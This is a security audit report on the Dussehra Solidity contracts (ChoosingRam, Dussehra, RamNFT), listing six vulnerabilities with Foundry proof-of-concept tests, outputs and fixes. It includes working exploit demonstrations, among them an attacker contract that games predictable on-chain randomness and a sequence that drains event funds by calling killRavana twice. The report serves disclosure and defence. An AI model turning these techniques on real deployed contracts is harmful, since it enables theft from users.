Dussehra Audit Report

Version 1.0

Keyword

June 28, 2024

Dussehra Audit Report

xKeywordx

June 28th, 2024

Prepared by: xKeywordx

Table of Contents

Protocol Summary

Dussehra, a major Hindu festival, commemorates the victory of Lord Rama, the seventh avatar of Vishnu, over the demon king Ravana. The festival symbolizes the victory of good over evil, righteousness over wickedness. According to the epic Ramayana, Ravana kidnaps Rama's wife, Sita, leading to a brutal battle between Rama and his allies against Ravana and his forces. After a ten-day battle, Rama emerged victorious by slaying Ravana, marking the victory of virtue and the restoration of dharma. Dussehra is celebrated with grand processions, reenactments of Rama's victory, and the burning of effigies of Ravana, symbolizing the destruction of evil forces. It signifies the enduring significance of courage, righteousness, and the eventual victory of light over darkness.

The Dussehra protocol allows users to participate in the event of Dussehra. The protocol is divided into three contracts: ChoosingRam, Dussehra, and RamNFT. The ChoosingRam contract allows users to increase their values and select Ram, but only if they have not selected Ram before. The Dussehra contract allows users to enter the people who like Ram, kill Ravana, and withdraw their rewards. The RamNFT contract allows the Dussehra contract to mint Ram NFTs, update the characteristics of the NFTs, and get the characteristics of the NFTs.

Disclaimer

I make all efforts to find as many vulnerabilities in the code in the given time period, but hold no responsibilities for the findings provided in this document. A security audit is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

I use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Scope

```
├──
 src│├──
    ChoosingRam.sol│├──
    Dussehra.sol│├──
    RamNFT.sol
```

Roles

`Organizer` - Organizer of the event and Owner of RamNFT contract `User` - User who wants to participate in the event `Ram` - The user who has selected Ram for the event

Executive Summary

Known issues

None

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Gas	0
Info	0
Total	6

Findings

High

[H-1] Attacker can bypass `entranceFee` and participate in the event without paying.

Description: According to the sponsor the `RamNFT::mintRamNFT` function should be callable by the `Dussehra` contract. This is not the case though. The function is public, has no access control, and anyone can call it directly.

Impact: A malicious user is able to participate in the event, and bypassing paying the `entranceFee`. They can mint an NFT directly from the `RamNFT` contract and then call the `ChoosingRam::increaseValuesOfParticipants`, `Dussehra::killRavana` and `Dussehra::withdraw` functions just like any other user.

Proof of Concepts: Input the test below in the `Dussehra.t.sol` file.

PoC - Click the arrow below

```
    function test_bypassEntranceFee() public {
        vm.startPrank(player1);
        ramNFT.mintRamNFT(address(player1));
        ramNFT.mintRamNFT(address(player1));
        ramNFT.mintRamNFT(address(player1));
        assertEq(ramNFT.ownerOf(0), player1);
        assertEq(ramNFT.ownerOf(1), player1);
        assertEq(ramNFT.ownerOf(2), player1);
        assertEq(ramNFT.getCharacteristics(0).ram, player1);
        assertEq(ramNFT.getCharacteristics(1).ram, player1);
        assertEq(ramNFT.getCharacteristics(2).ram, player1);
        assertEq(ramNFT.getNextTokenId(), 3);

        choosingRam.increaseValuesOfParticipants(0, 1);
        choosingRam.increaseValuesOfParticipants(0, 1);
        choosingRam.increaseValuesOfParticipants(0, 1);
        choosingRam.increaseValuesOfParticipants(0, 1);
        choosingRam.increaseValuesOfParticipants(0, 1);
        vm.stopPrank();

        assertEq(ramNFT.getCharacteristics(1).isSatyavaakyah, true);

        vm.warp(1728691200 + 1);
        vm.startPrank(organiser);
        choosingRam.selectRamIfNotSelected();
        vm.stopPrank();

        vm.startPrank(player1);
        dussehra.killRavana();
        vm.stopPrank();

        assertEq(dussehra.IsRavanKilled(), true);
    }
```

Test output

```
Ran 1 test for test/Dussehra.t.sol:CounterTest
[PASS] test_bypassEntranceFee() (gas: 363167)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.26ms
    (496.85µs CPU time)
Ran 1 test suite in 5.83ms (1.26ms CPU time): 1 tests passed, 0 failed,
        0 skipped (1 total tests)
```

Recommended mitigation: Add an `onlyDussehra` modifier on the `RamNFT::mintRamNFT` function so that it can be called only by the `Dussehra` contract address.

```
    address public dussehraContract; //needs to be added in the RamNFT
       contract and it can be set in the constructor

    modifier onlyDussehra() {
        require(msg.sender == dussehraContract, "Only Dussehra contract
            can mint");
        _;
    }
```

[H-2] `ChoosingRam::isRamSelected` bool is not updated in the `increaseValuesOfParticipants` function. Because of this, Ram can never call `Dussehra::killRavana` or `Dussehra::withdraw` functions and the `organiser` will overwrite the address of `selectedRam` with a new value.

Description: By calling the `ChoosingRam::increaseValuesOfParticipants` function, users can change the characteristics of their NFTs. When an NFT has all the bools in the `RamNFT::CharacteristicsOfRam` set to true, the address of the owner of that NFT is designated as the `ChoosingRam::selectedRam`.

```
    function increaseValuesOfParticipants(...) public RamIsNotSelected
       {
        //..
                selectedRam = ramNFT.getCharacteristics(
                   tokenIdOfChallenger).ram;
        //..
    }
```

The problem here is that this function does not set the `bool public isRamSelected;` to **`true`** once this happens, therefore the contract's state is inconsistent.

Impact: A winner that has his address set as the `selectedRam` won't be able to call the `Dussehra::killRavana` or `Dussehra::withdraw` functions to claim his prize because the `RamIsSelected` modifier will always revert. Furthermore, once `block.timestamp` will exceed `1728691200`, the `organiser` is able to call the `ChoosingRam::selectRamIfNotSelected` function, which will override the value of `selectedRam`.

Proof of Concepts: Input the test below in the `Dussehra.t.sol` file.

PoC - Click the arrow below

```
    function test_boolNotUpdated() public {
        //player 1 joins event
        vm.startPrank(player1);
        vm.deal(player1, 1 ether);
        dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
        vm.stopPrank();

        //player2 joins event
        vm.startPrank(player2);
        vm.deal(player2, 1 ether);
        dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
        vm.stopPrank();

        //make NFT of player2 `selectedRam`
        vm.startPrank(player1);
        choosingRam.increaseValuesOfParticipants(0, 1);
        choosingRam.increaseValuesOfParticipants(0, 1);
        choosingRam.increaseValuesOfParticipants(0, 1);
        choosingRam.increaseValuesOfParticipants(0, 1);
        choosingRam.increaseValuesOfParticipants(0, 1);
        vm.stopPrank();

        assertEq(ramNFT.getCharacteristics(1).isSatyavaakyah, true);
        address chosenRam = choosingRam.selectedRam();
        //player2 is selectedRam because we updated his NFTs characteristics at index1 above

        //player3 joins event
        vm.startPrank(player3);
        vm.deal(player3, 1 ether);
        dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
        vm.stopPrank();

        //player2 tries to killRavana and withdraw, these will revert because of the `RamIsSelected` modifier
        vm.warp(1728691200 + 1);
        vm.startPrank(player2);
        vm.expectRevert();
        dussehra.killRavana();
        vm.expectRevert();
        dussehra.withdraw();
        vm.stopPrank();

        //organiser selects a new Ram and overwrite player2's address with player 3's address
        vm.prank(organiser);
        choosingRam.selectRamIfNotSelected();
        address chosenRam2 = choosingRam.selectedRam();
        assertNotEq(chosenRam, chosenRam2);
    }
```

Test output

```
[PASS] test_boolNotUpdated() (gas: 576923)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.79ms (708.15µs CPU time)
Ran 1 test suite in 6.71ms (1.79ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

Recommended mitigation: Update the `isRamSelected` bool inside the `ChoosingRam::increaseValuesOfParticipants` when the address of `selectedRam` is set.

```
    function increaseValuesOfParticipants(...) public RamIsNotSelected {
        //..
        //..
        if (random == 0) {
                //..
                //..
                selectedRam = ramNFT.getCharacteristics(tokenIdOfChallenger).ram;
+               isRamSelected = true;
            }
        } else {
                //..
                //..
                selectedRam = ramNFT.getCharacteristics(tokenIdOfAnyPerticipent).ram;
+               isRamSelected = true;
            }
        }
    }
```

[H-3] `ChoosingRam::increaseValuesOfParticipants` function has predictable randomness because it uses `block.timestamp` and `block.prevrandao`. A malicious user can call the function only when it is guaranteed to benefit him.

Description: This is a known issue in Solidity and you can read more about it here `https://soliditydeveloper.com/prevrandao`. Another instance of this issue is present in the `ChoosingRam::selectRamIfNotSelected` function. This allows the organiser to predict the winner before calling the function.

Impact: A malicious user can compute the value of the `random` variable before calling the `ChoosingRam::increaseValuesOfParticipants` function. `uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender)))% 2;`. If the outcome is favorable for the attacker, he allows the call to happen, if the outcome is not favorable, he reverts the transaction until the value of `random` is zero so that it benefits him.

Proof of Concepts: The purpose of the contract below is to demonstrate how a malicious user can pre-compute the random value before calling the `ChoosingRam::increaseValuesOfParticipants` function, and only call it if he is guaranteed to win and update the values of his own NFT.

PoC - Click the arrow below

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

contract Hack {
    ChoosingRam public choosingRamContract;

    error UnfavorableNumber();

    constructor(address _choosingRamContract) {
        choosingRamContract = ChoosingRam(choosingRamContract);
    }

    function callIfRandomIsZero() public {
        uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % 2;
        if (random == 0) {
            choosingRamContract.increaseValuesOfParticipants(0, 0); // insert id of NFTs you want to manipulate
        } else {
            revert UnfavorableNumber();
        }
    }
}
```

Recommended mitigation: Consider using Chainlink's VRF or a similar service in order to generate random numbers.

Medium

[M-1] Lack of input validation in the `ChoosingRam::increaseValuesOfParticipants` function allows an attacker to win every time by submitting the same NFT id as both `tokenIdOfChallenger` and `tokenIdOfAnyPerticipent`.

Description: The `ChoosingRam::increaseValuesOfParticipants` function is supposed to update the characteristics of the NFT of the challenger if the value of the `random` variable is `0` , otherwise, it should update the characteristics of the NFT of the `tokenIdOfAnyPerticipent` . Because there is no check that enforces `tokenIdOfAnyPerticipent` to be different than the `tokenIdOfChallenger` a malicious user can call this function and he is guaranteed to update his NFT every time, irrespective of what the value of `random` is.

Impact: A user can guarantee the update of the characteristics of his NFT, irrespective of randomness.

Proof of Concepts: Input the test below in the `Dussehra.t.sol` file.

PoC - Click the arrow below

```
    function test_lackInputValidation() public {
        //player 1 joins event
        vm.startPrank(player1);
        vm.deal(player1, 1 ether);
        dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
        vm.stopPrank();

        //player2 joins event
        vm.startPrank(player2);
        vm.deal(player2, 1 ether);
        dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
        vm.stopPrank();

        //make NFT of player2 `selectedRam`
        vm.startPrank(player1);
        choosingRam.increaseValuesOfParticipants(0, 0);
        vm.warp(block.timestamp + 1);
        choosingRam.increaseValuesOfParticipants(0, 0);
        vm.warp(block.timestamp + 1);
        choosingRam.increaseValuesOfParticipants(0, 0);
        vm.warp(block.timestamp + 1);
        choosingRam.increaseValuesOfParticipants(0, 0);
        vm.warp(block.timestamp + 1);
        choosingRam.increaseValuesOfParticipants(0, 0);
        vm.stopPrank();

        assertEq(ramNFT.getCharacteristics(0).isSatyavaakyah, true);
        address chosenRam = choosingRam.selectedRam();
        console.log(chosenRam);
    }
```

Test output

```
[PASS] test_lackInputValidation() (gas: 429894)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.77ms
    (701.47µs CPU time)
Ran 1 test suite in 13.37ms (2.77ms CPU time): 1 tests passed, 0 failed
    , 0 skipped (1 total tests)
```

Recommended mitigation: Add a new require statement that enforces the `tokenIdOfAnyPerticipent` and `tokenIdOfChallenger` are different.

```
    function increaseValuesOfParticipants(
        uint256 tokenIdOfChallenger,
        uint256 tokenIdOfAnyPerticipent
    ) public RamIsNotSelected {
        //..
        //..
+       if (tokenIdOfChallenger == tokenIdOfAnyPerticipent) {
+           revert ChoosingRam__SameIds();
+       }
        //..
        //..

    }
```

[M-2] `Dussehra::killRavana` function can be called multiple times to send all the funds in the event to the `organiser`.

Description: The `Dussehra:killRavana` function allows participants to kill Ravana and this function must be called before `Ram` can claim the rewards of the event via the `Dussehra::withdraw` function. When this function is called, it will send half of the total amount collected to the `organiser`. The problem arises from the fact that this function is public and it can be called by anyone multiple times, in which case all the funds of the event will go towards the `organiser`'s address.

Impact: Organiser can steal all the funds from the contract or a malicious user can call the function twice to purposefully send all the funds of others to the `organiser` address.

Proof of Concepts: Input the test below in the `Dussehra.t.sol` file.

PoC - Click the arrow below

```
    function test_killRavanaMultiple() public {
        //player 1 joins event
        vm.startPrank(player1);
        vm.deal(player1, 1 ether);
        dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
        vm.stopPrank();

        //player2 joins event
        vm.startPrank(player2);
        vm.deal(player2, 1 ether);
        dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
        vm.stopPrank();

        //player3 joins event
        vm.startPrank(player3);
        vm.deal(player3, 1 ether);
        dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
        vm.stopPrank();

        //player4 joins event
        vm.startPrank(player4);
        vm.deal(player4, 1 ether);
        dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
        vm.stopPrank();

        //choose Ram
        vm.warp(1728691200 + 1);
        vm.startPrank(organiser);
        choosingRam.selectRamIfNotSelected();
        vm.stopPrank();

        //assert balance before
        uint256 balanceDussehraBefore = address(dussehra).balance;
        uint256 balanceOfOrganiserBefore = address(organiser).balance;
        console.log(balanceDussehraBefore);
        console.log(balanceOfOrganiserBefore);

        //kill Ravana
        vm.startPrank(organiser);
        dussehra.killRavana();
        vm.stopPrank();
        assertEq(dussehra.IsRavanKilled(), true);

        //assert balance after
        uint256 balanceDussehraAfter = address(dussehra).balance;
        uint256 balanceOfOrganiserAfter = address(organiser).balance;
        console.log(balanceDussehraAfter);
        console.log(balanceOfOrganiserAfter);

        //kill Ravana twice
        vm.startPrank(organiser);
        dussehra.killRavana();
        vm.stopPrank();
        assertEq(dussehra.IsRavanKilled(), true);

        //assert balance after
        uint256 balanceDussehraAfter2 = address(dussehra).balance;
        uint256 balanceOfOrganiserAfter2 = address(organiser).balance;
        console.log(balanceDussehraAfter2);
        console.log(balanceOfOrganiserAfter2);
    }
```

Test output

```
[PASS] test_killRavanaMultiple() (gas: 669469)
Logs:
```

```
4000000000000000000
0
2000000000000000000
2000000000000000000
0
4000000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.94ms (608.08µs CPU time)

Ran 1 test suite in 11.29ms (2.94ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

Recommended mitigation: Add another check in the `Dussehra:killRavana` function that will revert if `IsRavanKilled = true;`. Like this you will ensure that the function can only be called once.

```
  function killRavana() public RamIsSelected {
      //..
+     if (IsRavanKilled) {
+         revert Dussehra__RavanAlreadyKilled();
+     }
      IsRavanKilled = true;
      //..
  }
```

Low

[L-1] Misconfiguration of `block.timestamp` in `Dussehra::killRavana` function allows someone to call the function 2 minutes before October 12th and 1 minute after October 13th.

Description: According to the sponsor "`killRavana` - Allows users to kill Ravana and Organiser will get half of the total amount collected in the event. this function will only work after 12th October 2024 and before 13th October 2024." The values of `block.timestamp` were set up correctly inside the `ChoosingRam` contract, but are slightly off in the `Dussehra` contract.

Impact: A user can call the `killRavana` function ~2 minutes earlier than expected and ~1 minute later than the expected end date.

Recommended mitigation: Adjust `block.timestamp` to match the values in the `ChoosingRam` contract. `1728691200` for start time and `1728777600` end time.